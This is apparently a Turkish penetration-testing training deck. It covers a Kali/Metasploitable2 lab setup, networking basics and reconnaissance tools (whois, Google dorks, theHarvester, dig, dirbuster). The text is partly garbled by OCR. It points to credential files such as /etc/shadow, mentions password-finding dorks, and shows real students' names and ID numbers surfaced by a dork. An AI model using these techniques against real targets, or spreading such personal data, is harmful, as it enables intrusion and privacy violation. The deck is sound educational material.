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VMware Uzerine Kali ve Metasploitable2 Kurulumu

Oncelikle Metasploitable2 de kuracagimiz icin VMware sanallastirma yazilimini
kullanmaniz gerekmekte.Ucretsiz versiyonu Playerin setupini googledan rahatlikla
bulunabilmekte.indirip VMware i kurduktan sonra

adresinden Kalinin iso dosyasini indirmeniz
gerekmektedir.Bundan sonra

adresinden

Metasploitable2 adli icinde aciklar bulunduran sanal linux makinamizi
indiriyoruz.Bunlari indirdikten sonra VMware uzerine kurulum islemine
basliyoruz.VMware i kurduktan sonra indirdigimiz Metasploitable2 iso dosyasini
Flle>Open diyerek seciyoruz.
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VMware Uzerine Kali ve Metasploitable2 Kurulumu

WMware uzerine Metasploitable2 yi import ettikten sonra calistiriyoruz ve
gelen terminalde username kismina msfadmin ve password kisminada
msfadmin yazarak sistemi agcmis bulunmaktayiz.Sistem artik ayakta ifconfig
komutunu yazarak sistemin network bilgilerini ve ip adresini 6grenebilirsiniz.
Suan baska bir pc den port ve servis taramasi yapabilir,ip adresini tarayiciya
girerek icindeki disariya hizmet veren uygulamalari goruntuleyebilirsiniz.Bu
islemlerin ekran goéruntuleri sonraki sayfalarda eklenmistir.

Ahmet Giirel | www.gurelahmet.com
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VMware Uzerine Kali ve Metasploitable2 Kurulumu

Evet artik Metasploitable2 adli sanal makinamiz tamamiyla hazir ve
calismakta.Bu makinadaki port ve servis taramalarini yaparak zaafiyetli
servisleri ve uygulamalari kullanarak farkli senaryolar ile sizmaya calisacaz
bunun i¢cinde bir adet saldirgan makina yani Kali Linux kurmamiz
gerekmekte.Kali Linux kurulsa bile bu islemler icin en az giris ve orta seviyede
Network ve Linux sistem bilgimiz olmalidir.Bu egitimde kisa kisa gerekli bilgiler
ve tool kullanimlari gosterilecektir.Fakat detayl ve ileri okuma icin farkl
doktman linkleri verilecektir.Bu islemleri anlayabilmek adina verilen tim
dokimanlari okumanizi 6nermekteyim.Temel Linux Bilgisi ve Kali Linux
kurulumu ve Kalideki araclarin ne is yaptigini 6grenmek icin

bu dékimani
okuyunuz ve Kali yi kurunuz.Bu dokumanda yeniden Kali kurulumu
anlatilmayacaktir.
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Temel Linux Sistem Bilgisi

Bir sizma testi icin en az orta seviyede Linux sistem bilgisi sarttir.Temel Linux
bilgisi icin daha onceden hazirladigim

dokimanimi okuyunuz.Bu sunumdaki komutlar linux icin yetersiz olmakla
beraber bir cok komutun bilindigi varsayilarak bir sisteme sizdiktan sonra en
cok kullanilan komutlar ve dosya dizinleri baz alinarak hazirlanmistir.

pwd : Bulundugunuz dizini verir.
whoami : Sistemde hangi kullanicida oldugunuzu verir. (root,ali,ayse vb.)

uname -a : Bulundugunuz sistemin ¢ekirdek (kernel) bilgisini verir.Kernel
Exploit ararken ve calistirmaniz icin bu bilgi gerekmektedir bu linux komutu
ile Og renebilmektesiniz. Ahmet Giirel | www.gurelahmet.com
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Temel Linux Sistem Bilgisi

ps aux : Sistemde calisan servisleri listeler.

ps aux | grep root : Sistemde root olarak ¢calisan servisleri listeler.
users : Sistemde bulunan kullanicilart listeler.

ifconfig : Sistemin network ayarlarini ve ip adresini getirir.

history : Terminale 6nceden girilen komutlarin tamamini gosterir.

passwd : Kullanicinin sifresini degistirmeye yarar

Ahmet Giirel | www.gurelahmet.com



Temel Linux Sistem Bilgisi (Onemli Dosyalar)

* /etc/sysconfig/network * /etc/passwd
« /etc/sysconfig/network-scripts * /etc/shadow
» /etc/hosts
» /etc/resolv.conf
* /etc/nsswitch.conf

» /etc/services

Ahmet Giirel | www.gurelahmet.com
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Temel Network Bilgisi

Tabiki bir network e sizma testi gerceklestirmek icin iyi bir network bilgiside
gerekli sunumun bu kisminda giris seviyesinde network bilgisi verilecektir.

Ben bu kisimda OSI, TCP/IP,Network Protokollerine,IP ADRESLEME ve Network
Cihazlarina deginecegim.

Ahmet Giirel | www.gurelahmet.com



Temel Network Bilgisi

Baslarken Network nedir?
Bilgisayarlarin iletigsim hatlari araciligiyla veri aktariminin saglandigi sistem, bilgisayar agidir.
IP Adresi Nedir?

IP adresi (ingilizce: Internet Protocol Address), interneti ya da TCP/IP protokoliinii kullanan diger
paket anahtarlamali aglara bagli cihazlarin, ag uzerinden birbirleri ile veri aligverigi yapmak icin
kullandiklari adres.

DNS Nedir?

Turkce olarak Alan Adi Sistemi olan DNS girdigimiz sitelerin IP adresini tutan bir adres defteri
gibidir.Girdigimiz bir domain tikladigimizda kullandigimiz DNS bizi yénlendirdigi icin bazen
ulasamama durumlari oluyor farkh nedenlerden o IP y1 engelliyorlar ve bu site yasaklanmistir
diyor bizde bunun icin farkli DNS ler kullanarak erisimimize devam ediyoruz.

Ahmet Giirel | www.gurelahmet.com
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Temel Network Bilgisi | 0S| MODELI
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Temel Network Bilgisi | 0S| MODELI

7 Katmandan olusan OSI Modelinde her katmaninda belli donanimlar ve
network protokolleri bulunur.

Network haberlesmelerinde OSI Referans modeli kullantlir.

Katmanlarda calisan donanimlara ve protokollere iler ki sunumlarda
bulunmaktadir.
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Temel Network Bilgisi | 0S| MODELI
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Temel Network Bilgisi | TCP/IP

Tarihce:

e Ilk olarak 80'li yillarda Amerikan Savunma Bakanhgi (DoD) tarafindan OSI
tabanli sistemlere alternatif olarak gelistirilmistir.

o DoD'un Amerikan piyasasindaki ana belirleyici olmasi,bu protokolun
Amerikan yazilimlarinda standart kabul edilmesine neden oldu.

o Internet'in babasi sayilabilecek ARPANet bu nedenle TCP/IP ile dogdu.
Internet kullaniminin blyuk bir hizla artmasi ile birlikte, TCP/IP OSI (izerinde

bir Gstunlik kurmus oldu.

Ahmet Giirel | www.gurelahmet.com
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Temel Network Bilgisi | TCP/IP

e Yapi olarak iki katmanl bir haberlesme protokoludur.

e Ust Katman TCP(Transmission Control Protocol) verinin iletimden 6nce
paketlere ayrilmasini ve karsi tarafta bu paketlerin yeniden dizgun bir
sekilde birlegtiriimesini saglar.

e Alt Katman IP (Internet Protocol) ise,iletilen paketlerin istenilen ag adresine

yonlendirilmesini kontrol eder.

Ahmet Giirel | www.gurelahmet.com
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Temel Network Bilgisi | TCP/IP

e Uygulama Katmani(Application Layer) : Farkli sunucular Gzerindeki stire¢ ve
uygulamalar arasinda olan iletisimi saglar.

e Tasima Katmani(Host to host or Transport Layer) : Noktadan noktaya veri akisini
sadlar.

e internet Katmani : Router lar ile birbirine baglanmis aglar boyunca verinin kaynaktan
hedefe yonlendirilmesini saglar.

e Ag Erisim Katmani : lletisim ortaminin karakteristik dzelliklerini,sinyallesme hizini ve

kodlama semasini belirler.Ug¢ sistem ile alt ag arasindaki lojik arabirime iligkin katmandir.

Ahmet Giirel | www.gurelahmet.com
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Temel Network Bilgisi | TCP/IP

TCP baglantisi nasil kurulur?

A bilgisayari B bilgisayarina TCP yoluyla baglanmak istediginde su yol izlenir:

e A bilgisayar B bilgisayarina TCP SYNchronize mesaiji yollar
e B bilgisayari A bilgisayarinin istegini aldigina dair bir TCP SYN+ACKnowledgement

mesajl yollar
e A bilgisayari B bilgisayarina TCP ACK mesaiji yollar
e B bilgisayari bir ACK "TCP connection is ESTABLISHED" mesaji alir

Uc zamanl el sikisma adi verilen bu yontem sonucunda TCP baglantisi aciimis olur.

Ahmet Giirel | www.gurelahmet.com



Temel Network Bilgisi | TCP/IP

3 lii El Sikisma Nedir? (TCP 3 Way Hand shake)
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Temel Network Bilgisi | TCP/IP

TCP Baglantisinin Sonlanmasi

Veri iletisimi bitince bilgisayarlardan herhangi biri digerine TCP kapatma mesaiji yollar. Diger bilgisayar,

kapatmayi teyid etme paketi ve kapatma iste@i yollar. Son olarak, diger bilgisayar da kapatma teyidini

yollar ve baglanti kapatilmis olur.

Bu islemin adimlari tam olarak soyledir:

A bilgisayari B bilgisayarina baglantiy1 sonlandirmak istedigine dair TCP FIN mesaji yollar.
B bilgisayari A bilgisayarina baglanti sonlandirma istegini aldigina dair TCP ACK mesaji yollar.
B bilgisayari A bilgisayarina baglantiy1 sonlandirmak istedigine dair TCP FIN mesaji yollar.

A bilgisayari B bilgisayarina baglanti sonlandirma istegini aldigina dair TCP ACK mesaji yollar.

Bu islemlerin sonunda TCP baglantisi sonlandiriimig olur. Buna 4 zamanh el sikisma denir

Ahmet Giirel | www.gurelahmet.com



Temel Network Bilgisi | OSI vs TCP/IP
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Temel Network Bilgisi | OSI vs TCP/IP

Temelde iki modelde haberlesmeyi karmasik bir is olarak gértp alt gorevlere
ve katmanlara ayirmaktadir.Her katmanda calisan protokoller ve prosedurler
vardir.

Bu OSI modelinde ¢ok net bir sekilde ayrilmistir.Her katmanda calisan
protokol bellidir.

TCP/IP de ise daha rahattir kesin cizgilerle belirlenmemistir.Bunun icin OSl ile
calismak daha verimlidir.Aralarinda ki en 6nemli fark bu denilebilir.

Ahmet Giirel | www.gurelahmet.com



Temel Network Bilgisi | NETWORK PROTOKOLLERI

Burada ¢ok kullanilan Network Protokollerine deginecegiz TCP/IP ve OSI de
onceki sayfalarda kullanilan protokolleri gorebilirsiniz.Simdi bunlara tek tek
deginecegiz.

Ahmet Giirel | www.gurelahmet.com
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Temel Network Bilgisi | NETWORK PROTOKOLLERI

TCP (Transmission Control Protocol)

e TCP yani Gonderim Kontrol Protokolu , IP Uzerinden ulagsma garantili ve herhangi bir
boyda veri gonderilmesine imkan taniyan bir protokoldir. UDP'den farkli olarak, TCP'de
iki cihazin iletisim kurabilmesi igin dnce birbirlerine baglanmalari gerekmektedir.

UDP (User Datagram Protocol)

e UDP yani Kullanici Veri Protokoll , IP Gzerinden veri yollamaya yarar. Verilerin
ulasacagini garanti etmez ve UDP paketlerinin maksimum boy sinirlari vardir. Ote
yandan, UDP son derece basit ve baglanti gerektirmeyen bir protokoldur.

Ahmet Giirel | www.gurelahmet.com
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Temel Network Bilgisi | NETWORK PROTOKOLLERI

DHCP (Dynamic Host Configuration Protocol)

e DHCP yani Dinamik Cihaz Ayar Protokolu bir TCP/IP agina baglanan bir cihaza
otomatik olarak IP adresi, ag maskesi, ag gecidi ve DNS sunucusu atanmasina yarar.

DNS (Domain Name System)

e DNS vyani Alan Adi Sistemi alan adi verilen isimler mesela ile IP
adreslerini birbirine baglayan sistemdir. Paylastirilmis bir veritabani olarak ¢aligir. UDP
veya TCP uzerinden calisabilir.

Ahmet Giirel | www.gurelahmet.com
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Temel Network Bilgisi | NETWORK PROTOKOLLERI

HTTP (HyperText Transfer Protocol)

e HTTP yani HiperMetin Yollama Protokolu ilk bagsta HTML sayfalari yollamak i¢in yazilmis olan bir
protokol olup gunumuzde her turll verinin gonderimi icin kullanilir. TCP Uzerinden c¢alisir.

NOT: HTTP Metodlari ve HTTP Durum kodlari Guvenlik i¢cin dnemlidir.

Metodlar: Get,Head,Put,Post,Trace,Delete,Connection,Options

Durum Kod: 1xx :Bilgi 2xx Basari 3xx :YOonlendirme 4xx :Tarayici Hatasi 5xx : Sunucu Hatasi
HTTPS (Secure HTTP )

e HTTPS yani Guvenli HTTP , HTTP'nin RSA sifrelemesi ile guglendirilmig halidir. TCP Uzerinden
calisir.

Ahmet Giirel | www.gurelahmet.com
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Temel Network Bilgisi | NETWORK PROTOKOLLERI

POP3 (Post Office Protocol 3)

e POP3 ani Postahane Protokolu 3 e-posta almak icin kullanilan bir protokoldur. TCP Uzerinden
cahgir.

SMTP (Simple Mail Transfer Protocol)

e SMTP yani Basit Mektup Gonderme Protokoll e-posta gondermek icin kullanilir. TCP Uzerinden
cahgir.

FTP (File Transfer Protocol)

e FTP yani Dosya Gonderme Protokolli dosya gondermek ve almak icin kullanilir. HTTP'den degisik
olarak kullanicinin illa ki sisteme giris yapmasini gerektirir. Veri ve komut alis verigi i¢in iki ayri port
kullanir. TCP Uzerinden caligir.

Ahmet Giirel | www.gurelahmet.com
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Temel Network Bilgisi | NETWORK PROTOKOLLERI

ARP (Address Resolution Protocol)

e ARP yani Adres Cozumleme Protokolu bir IP adresinin hangi ag kartina (yani MAC adresine) ait

oldugunu bulmaya yarar.
ICMP (Internet Control Message Protocol)

e |ICMP yani Internet Yonetim Mesajlasmasi Protokoll, hata ve turlu bilgi mesajlarini ileten protokoldur.

Ornegin, ping programi ICMP'yi kullanir.
Telnet,
e Internet agi izerindeki gok kullanicili bir makineye uzaktaki bagka bir makineden baglanmak igin

geligtirilen bir TCP/IP protokoll ve bu isi yapan programlara verilen genel isimdir.

Ahmet Giirel | www.gurelahmet.com
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Temel Network Bilgisi | NETWORK PROTOKOLLERI

RIP (Router Information Protocol)

e RIP yani Router Bilgi Protokolu router'larin yonlendirme tablolarini otomatik olarak
uretebilmesi igin yaratilmigtir.

OSPF (Open Shortest Path First)

e OSPF yani ik Acik Yone Oncelik ayni RIP gibi router'larin yonlendirme tablolarini
otomatik olarak uretebilmesine yarar. OSPF, RIP'ten daha gelismis bir protokoldur.

SSH (Secure Shell)

e SSH guvenli veriiletimi igin kriptografik ag protokoludur

Ahmet Giirel | www.gurelahmet.com
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Temel Network Bilgisi | ONEMLI PORTLAR

e Port: Donanimsal ve Sanal olarak ikiye ayriliyor.Temelde bilgisayar ile dis
aygitlar arasinda iletisimi saglayan veri yoludur.Sistem uzerinde calisan
internet ile haberlesen her sistem sanal bir port kullanir.Onemli port
numaralarina ve servislerine deginecegiz bunlardan zaafiyet barindiranlar
Uzerinden bir sisteme sizabilirsiniz.Lab kisminda bu senaryoyu
inceleyecegiz.

e Port numaralari 0 ile 65535 arasinda degisen numaralar alabilir.
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e 21FTP 194 IRC

e 22SSH 443 SSL

e 23 TELNET 445 SMB

e 25SMTP 1433 MSSQL

e 53DNS 3306 MYSQL

e 80 HTTP 3389 Remote Desktop
e 110 POP3

e 115SFTP

e 135RPC

e 143 IMAP
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e Suan etkin olarak IPv4 kullanilmakta ve IPv6 ya gecilmektedir.(IPv4 :
Internet Protocol Version 4, IPv6: Internet Protocol Version 6 demektir.)

e Bu gecis IPv4 un IP adres araliginin cogunun kullaniimasi ve ilerleyen
yillarda yetmeyeceginden dolayi IPv6 ya gecilmektedir.Bu surec gerek
uyumluluk sorunlarindan gerek maliyet gerekse guvenlik nedenlerinden

dolayi ¢cok yavas ilerlemektedir.
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IPv4 Adresleme;

32 bittir.2 Uzeri 32 den 4 milyardan fazla ip adresi ile adresleme yapmaktadir.

IPv4 ip adresi 4 oktetten olusur ve her bir oktet 8 bitten olusmaktadir.

Ahmet Giirel | www.gurelahmet.com



Temel Network Bilgisi | IP ADRESLEME

IPv4 Adresleme:

An |IPv4 address (dotted-decimal notation)

L7 e 2 Rl
\ 4 \ 4 4 4

10101100 .00010000.11111110.00000001

| One byte =Eight bits

I
Thirty-two bits (4 x 8), or 4 bytes
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IPv4 Adres Siniflari:

A sinifi adresler: 1-126

B sinifi adresler : 128-191
C sinifi adresler : 192-223
D sinifi adresler : 224-239
E sinifi adresler : 240-254

NOT: Bunlarin disinda 6zel IPv4 araliklart mevcuttur.
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I Yy e Py

“ 1-126 16.777.214 111.192.110.1

n 128 - 191 16.384 65.534 131.192.110.1

— 192 - 223 2.097.152 254 194.192.110.1
No. Btts 7 < 24

Ho st Host Host

Chssﬁ Network
LICICICITT:

12924 3216 9 4

|
2 1
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IPv4 Ozel IP araliklari:

1)Localhost

127.0.0.0/8 =>127.0.0.0-127.255.255.255

2) Yerel Baglanti Adresleme (Link-Local Addressing)
169.254.0.0/16

3) Ozel IP Adresleri

10.0.0.0-10.255.255.255

172.16.0.0-172.31.255.255

192.168.0.0-192.168.255.255 Not: Bu IP ler disariya NAT ile ¢ikar.
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Ozellik

Kaynak ve Hedef Adresleri
IPSec Destedi

Adres Cozimleme Protolkoli

IGMP

ICHMP Router Discovery

Broadcast Adresleri

Soyvarlar

Kaynak Kawvitlar

IPwa
32 bit (4 Byte)
Opsivonel

ARP, Broadcast kullanarak
istekler link-layer adresine
cozimlern

Lokal subnet grup
dyeliklerini vwonetir.

Default Gatewavy'in IP
adresini tespit eder

Subnet Gzerindeki tdm
diigimlere trafigi vollar

Manuel wveyva DHCP ile
avarlanmir

DMNS icinde A kaynak kawdi
kullanarak bir IPvd adresine
atama vapilir.

IPwG
128 bit (16 Byte)
Zorunlu

ARP isktek frame’leri,
multicast Neigbor Solicitaion
mesajlan ile dedisir

IGME, MLD mesajlan ile
dedismistir.
ICHMP Router Solicitation we

Bouter Advertisement
mesajlarn ile degismistir.

IPvE broadcast adresinin
verine tiam digimlerde bir
link-local scope ile multicast
adresi kullanir

Manuel wveya DHCP ile
avarlamalk zorunlu dedildir

DMNS icinde AAAM kayvnak
kayd kullanarak bir IPwva
adresine atama yapihr.
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e Buraya kadar bir networkun haberlesmesi icin gerekli modelleri,servisleri
protokolleri yazilimlari inceledik.

e Bir networkun kurulmasi calismasi ve yénetilmesi icin bazi donanimlar
network cihazlari mevcuttur.Simdi onlara goz atacagiz.
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Hub (Gobek)

Hub aslinda igerisinde tim portlari birbirine baglayan
kablolardan olusmus bir cihazdir ve kablolardan tasinan
bilgiyi anlama kapasitesine sahip degildir.Aptal bir
cihazdir.Yalnizca bir porttan gelen paketleri diger butun
portlara yayin (boardcast) seklinde iletir. Bu yuzden
fiziksel katmana dahildir.
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Switch (Network Anahtari)

Switch bilgisayarlarin ve diger ag 6gelerinin
birbirlerine baglanmasina olanak veren ag
donanimlarindan biridir. OSI modelinin 2.
katmaninda ve yeni dagiticilar IP routing yapabildigi
icin 3. katmanda da caligir.Hubdan farkli olarak
gelen paketin igerigini anlayabilir ona gore
anahtarlama yapar.
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Bridge (Kopru)

iki TCP/IP agini birbirine baglayan bir
donanimdir. iki veya daha fazla ayni
protokolu kullanan aglari baglamak
icin kullanilan bir cihazdir. Baglama
islemi, iki agdaki her mesaji birbirine
tekrarlanarak saglanir.
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Router (Yonlendirici)

Gelen ag paketlerini incelemek ve
buna gore istemci bilgisayarlara
gonderilmesini saglamaktadir. bu
paketlerin en saglikli ve hizli sekilde
portlardan gegcmesini saglamaktadir.
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Firewall (Guvenlik Duvari)

Guvenlik duvari bir kural kimesi temelinde
aga gelen giden paket trafigini kontrol eden
donanim tabanli ag guvenligi sistemidir.
Bircok farkl filtreleme 6zellidi ile bilgisayar ve
agin gelen ve giden paketler olmak tzere
internet trafigini kontrol altinda tutar.

Ahmet Giirel | www.gurelahmet.com
s


https://tr.wikipedia.org/wiki/Bilgisayar
https://tr.wikipedia.org/wiki/%C4%B0nternet
https://tr.wikipedia.org/wiki/%C4%B0nternet

Temel Network Bilgisi | NETWORK CIHAZLARI

Acces Point (Erisim Noktasi)

Access point cihazlarin asil gorevleri
sinyal guclendirmek, erisim noktasi
olusturmak ve sinyalleri kablosuz
olarak iletmektir. Access pointlerde
bulunan router ozelligi ile dilerseniz
kablolu olarak baska bilgisayarlara da
internet baglantisi veya ag baglantisi
saglayabilirsiniz.
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Modem

Modem, bilgisayarlarin genel aga
baglantisini saglayan ve bir
bilgisayari uzak yerlerdeki
bilgisayarlara baglayan aygittir.
Modem, verileri ses sinyallerine
ses sinyallerini verilere
donusturerek verileri tasir. Genis
ag kurmak icin mutlaka bulunmasi
gereken ag elemanidir.
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Temel Network Bilgisi

isteyenler Cisco CCNA Egitim Video setini izleyerek detayli saglam bir network
temeli atabilirler :
https://www.youtube.com/playlist?list=PLQMqg5dvivtOVeodeBs cOhPQC ZHoG
2Ap yada saglam bir Network Kaynagi olan CCNA sinav dokumanini
okuyabilirsiniz :
https://drive.google.com/viewerng/viewer?url=http://alikoker.name.tr/ccna.ha
vrullah kolukisaoglu.pdfikiside glzel ve faydal kaynaklardir.
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Aktif ve Pasif Bilgi Toplama

Glvenlik Test Adimlari

Bilgi Toplama

Ag Haritalama

Zayiflik Tarama sureci
Penetrasyon(Sizma) Sureci
Erisim elde etme

Hak YUkseltme

Detayli Arastirma
Erisimlerin Korunmasi
Raporlama
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Aktif ve Pasif Bilgi Toplama

Goruldugu Uzere sizma testlerin ilk adimi hedef sistem hakkinda bilgi toplamaktir.

Bu adim aktif ve pasif toplama olarak ikiye ayrilir.

Simdi bu bilgi toplama yontemlerini ve toollarini beraber inceleyecegiz.
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1-whois Bilgileri

Bir sitenin whois bilgileri ile kime ait oldugu adres,mail,telefon hosting
firmasi gibi bir ¢cok bilgi edinebiliriz.Bunu https://who.is/ gibi bir ¢gok
online siteden ve linux’a terminale whois siteadi seklinde yazarak
whois bilgilerini 6grenebiliriz.
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Premium D

Important Dates

Expires On 2017-05-13
Registered On 2014-05-13
Updated On 2016-06-29

Mame Servers

ns1.webadam.com 108 232 . 220.189

ns2. webadam.com 108 232 .221_189

Registrar Data

Registrant Contact Information:

Mame Ahmet Gurel
Oorganization M A

Address Isparta

City Isparta

sState / Prowvince Istanbul

Postal Code sa650

Country TR

Phone +98.05456744a78
Email ahnetS57942gnail.con

Administrative Contact Information:
Mame Ahmet Gurel
Organization LA

hitps://who.is/ sitesindewww.gurelahmet.com Sorgulamasi
s



https://who.is/
http://www.gurelahmet.com
https://who.is/

whois Komutu Kullanimi
m ﬁ u /| root@kali:—~f_Dfask-top - [J rcot os:185, 2015—0?—11“

[root: 1# whois gurelahmet.com
wWhois Server Version 2.0

DUMdlh names 1n the .com and .met domains can rnow be registered
many different competing registrars. Go to http:, ww . lnternic.net
detailed i1nformation.

Domain Mame: GURELAHMET . COM
Re01“trar' AERCTEK EILI:IM
= fnrlnﬂ Reqlﬂtrar ITA 3
Server: w 1erotek.cnm.t|
ral URL: 3 .aerotek.com. tr
r M
oM
= us rsferProhibited https://icann.org/epp#clientTransferProhibited
Updated Date: La—apr—/OIr
Creation Date: 13-
Expiration Date:

Last update of wl 1 datebase: ‘Mon; 13- dal. 2 5 121555 GMT <
For more information on Whois status code: y ; wisit https:/ s icann.

NOTICE: The expiration date displayed i1n this record 1s the date the
registrar’ rship of the domain name registration 1in the registry is
currently set to expire. This date does not nec arily reflect the expiration
date of the domain name registrant's agreement b H e onsoring

egistrar. Users may consult the ﬂpunanrinq registrar's wholis database to
view the registrar's reported date of expiration for this registration.

TERMS OF USE: You are not duthurl ed to or gquery our wWhois
database through the use c ] s that are high- Lume and
automated except as re o] y necassary register domain name 3 "

modi fy ﬁxl:tlhg rec s ; = Data 1 \ 1 gn Global Registry
Services' ] verisign for
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2-Arsiv Siteleri:

www.archive.org adresinde sitelerin belli donemlerdeki kaydedilmis halleri
bulunmaktadir.Buradan hedef site hakkinda yillar 6ne olup suan yayinda
bulunmayan bilgilere erisebilirsiniz.

https://www.shodan.io/ ya gbz atmayi unutmayin :)
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INTERNET ARCHIVE

lllﬂ!lum}“ "IHE“I"H http://gurelahmet.com BROWSE HISTORY

http: urelahmet.com
Saved 16 times between Mayis 17, 2014 and Mart 15, 2016.

PLEASE DONATE TODAY. Your generosity preserves knowledge for future generations. Thank you.

III il

1996 1997 1998 1999 2000 2001 2002 2003 2004 2005 2006 2007 2008 2009 2010 2011 2012 2013 2014 2015 2016

OCA 5UB MAR NIS

B 1 2 3 4 5 & § 4@ B % 5 5 2
3 4 5 & 7 & 9 T 8 9 10 # 12 13 6 T 8 9 10 M 12 3 4 5 & T & 9
0 11 12 13 14 15 18 14 15 16 17 18 18 20 13 14 15 16 17 18 19 w1 12 13 14 15 16
17 18 19 20 21 2 23 21 22 23 284 35 26 27 20 21 22 23 24 25 26 17 18 19 20 21 22 23
24 25 26 27 28 29 30 28 29 27 28 29 30 31 24 25 26 27 28 29 30
31

MAY HAZ TEM AGU
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3-Arama Motorlari:

Arama motorlarinin indexledigi cok degerli bilgiler bulunmakta ve Google
Hacking dedigimiz ileri arama metodlari bulunmakta bazi sifreler ve acikliklari
bulunan google dorklari mevcut bunun disinda bilgi toplamak icinde Google
Hacking parametreleri vardir.

Ahmet Gurel site:sdu.edu.tr ext:pdf numrange:00000000000-99999999999

Yukaridaki arama hedef odakli bir arama sdu.edu.tr sitesinde pdf tartndeki
dosyalarda 00000000000-99999999999 sayi araligl ve Ahmet Gurel gecen
dosyalari getirecek.

Ahmet Giirel | www.gurelahmet.com
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Gor‘)gle Ahmet Girel site:sdu.edu tr ext:pdf numrange:00000000000-99999999 Em 0, E

Tiimii Haberler Videolar Gorseller Haritalar Daha fazla « Arama araclan

Yaklagik 42 sonug bulundu (0 67 saniye)

FBA 2015-2016 Akademik Yili Erasmus+ Ingilizce Dil Sinavi Sonuclari
erasmus.sdu.edu.trf._/2015-2016-erasmus-ingilizce-dil-sinavi-sonuclari-02032015.pd... ~

88 1140203003 HULYA TEK. ingilizce. 86. 0911601107 MERVE AKDENIZ ... 74. 1211601046
HATICE BEYZA ADAMNIR. ingilizce. 741212802022 HILAL SALCAMN ... 74 2015-2016 Akademik ¥l
Erasmus+ ingilizce Dil Sinawvi Sonuclan ... 621311008030 DAMLA NUR GENC. ingilizce. 62.
1323705006 ELCIM CARKMAK.

FEA Ay Ogrenci No Bolum/Program Sinav Yeri

erasmus.sdu.edu trf.._/24-02-2014-erasmus-dil-sinav-salonlari-ve-yerlesim-plani-1802.._ -
1211001104, ingaat Mihendisligi ... 1111014036. Makine Mahendislidi ... 0911403105 .. Ahmed
Mohammed Bedu ... Ahmet Atanur COSKUN .. Ahmet Emre CETINTURK ... Ahmet Giirel ...
05063098910 ...... Fen Edebiyat Fakiltesi - 161.

POl 24 02.2016 tarihinde yapilan Erasmus Dil Sinav Sonucu

erasmus.sdu. edu trfassets/uploads/sites/280/__ fingilizce-dil-sonuc-2016-01032016.pdf ~

24 Sub 2016 - GNGGLGZCE. 80. 1512802026 ahmet erol. GNGGLGZCE. 78 ... 74 1512802012
Zeynep Yavuz. GNGGLGZCE. 74. 24.02.2016 ... 0330138513 Gilistan Boylu ... GNGGLGZCE. 62.
1311011037 gizem nur temir. GNGGLGZCE. 62 ... 46. 1514905028 esra KAYA. GNGGLGZCE. 46.
1312001021 Fatma Gl ...

PO A dhi Soyad Odrenci No Sinav Salonu ABDISHAKUR OSMAN DAHIR ...
erasmus. sdu. edu_trfassets/uploads/sites/280/files/yerlestirme- 18022015 pdf -

18 Sub 2015 - Ahmet. Giirel. 1221012006 Ertokusbey Derslikleri AMFi |. Ahmet ... 091006007 ...
glirel. 1222702016 Ertokusbey Derslikleri AMFI I atakan udur kinay ... 0921003015 Ertokushey
Derslikleri AMFI 1l ... 05364994293 Erokusbey Derslikleri A 103 ... 1330201144 Ertokusbey
Derslikleri A 209 ... Page 32 .

PO 2015 2 Donem 2209-A Desteklenenler. xlisx

httne- a3 edo adn #rfSN1D Filee/Fila/ 2015 2 danam 22N0.a  docfaklananiar nrlf -
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intitle,inurl gibi bir birinden farkl duruma gére parametreler mevcuttur.

Google Hacking Database (GHDB):
adresinden guncel

acikliklarr indexleyen google dorklarina ulasabilirsiniz.

Bing arama motoruna ip:ip adresini yazarak o ip adresindeki tum siteleri
gorebilirsiniz.
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4-Sosyal Paylasim Siteleri

Facebook, Twitter,Linkedin,instagram,Google Plus ve pipl.com gibi sitelerden
arama yaparak hedefler hakkinda detayl bilgi toplanabilir.

5-Blog ,Forum ve Teknik Siteler

Github,Reddit,Stack Overflow ve Pastebin gibi siteler detayli incelenerek hedef
hakkinda bilgiler toplayabiliriz.

Ahmet Giirel | www.gurelahmet.com
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Online olarak hedeflerin yillara gore igletim sistemlerinin tesbit edilmesi igin;

www.netcraft.com

Her turla bilginin bulundugu harika bir bilgi toplama online araci(DNS durumunu
grafik olarak verir):

WWwWWw.robtex.com

Online bilgi toplama aracglar :

http://www.dirk-loss.de/onlinetools.htm

Ahmet Giirel | www.gurelahmet.com
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1-theharvester ile Mail ve Subdomain Tespiti

Kalinin icinde bulunan ve terminale theharvester yazip gerekli parametreler ile
bunlari tespit etmek mumkudn 6rnek kullanimina bakmak gerekirse:

theharvester -d gurelahmet.com -l 200 -b google
-d : Hedef sistemin adi girmemizi saglayan parametre
-1 : Arama yapilacak liste sayisi 200,500,1000 gibi

-b: Arama yapilacak arama motoru google,bing yada all gibi secenekler mevcut
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1# theharvester -d gurelahmet.com -1 200 -b google

o R e R R i R i R i R i R o e R i e e i e R R e i o e S R e e R o e R e R e R R e R

TheHarvester ver. 2.6

Coded by Christian Martorella

Edge-Security Research

cmartorellaf@edge-security.com

L L R DR S G o B i e S i e S i s S e e e e e e i e D o e D S B R U S B S S e R e e e e D i R

+
*
+
*
B
B
B
*
+
*
+
*

*
*
*
*
¥
e
*
*
*
*
B

[-] Searching 1n Google:
Searching O results...
Searching 100 results...
Searching 200 results...

[+] Emails found:

1nfo@gurelahmet.com
shmet@gurelahmet.com

[+] Hosts found 1n search engines:
/1ng hostnames IPs. ..

L220.231 twww . gureLahmet.com

1# I




2-traceroute Kullanimi

Traceroute bir paketin istedigi adrese gidene kadar hangi hostlar ve
yonlendirmelerden gectigini gosteren programdir.Yine kali linux icinde kurulu
olarak gelmektedir.Terminalden konsol ile kullanilabilmektedir.

. Jusr/bi gre fus nﬁ;r-a cero ufife:;;_gur'é’l'afﬁ met.com
[root: # tracerol ; ah
traceroute to gurelahmet.com [

1 |



3-Nslookup Kullanimi

DNS sorgulamasi yapmamizi saglayan guzel bir aractir.

it Slld:'np
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4- dig ( Domain Information Groper) Kullanimi

dig de detayli DNS sorgulamasi yapan gelismis bir aractir.Kalinin icinde diger
bir cok tool gibi kurulu halde gelmektedir.Nslookup la ayni isi yapmaktadir
biraz daha gelismistir.
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1# dig gurelahmet.com
= 1 G S-otdebsus- Debian
bal

=lat=

QUESTION S

AMNSWER SECTIOM:

ALTHORITY SECTIOM:
ADDITIOMNAL SECTIOM:

Query time:

SERNMER:. 1 1

WHENM: Thu Jul

MSG SIZE rcwd: 135

[root: 1#
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5-dirbuster Kullanimi

dirbuster hedef bir websitenin alt dizinlerini bulmak icin kullanilan gelismis
guzel bir aractir.Kalide kurulu olarak gelmekte terminale dirbuster yazdigimiz
programin GUI si bulunmakta ve o acilmakta.Bir wordlist belirterek aradiginiz
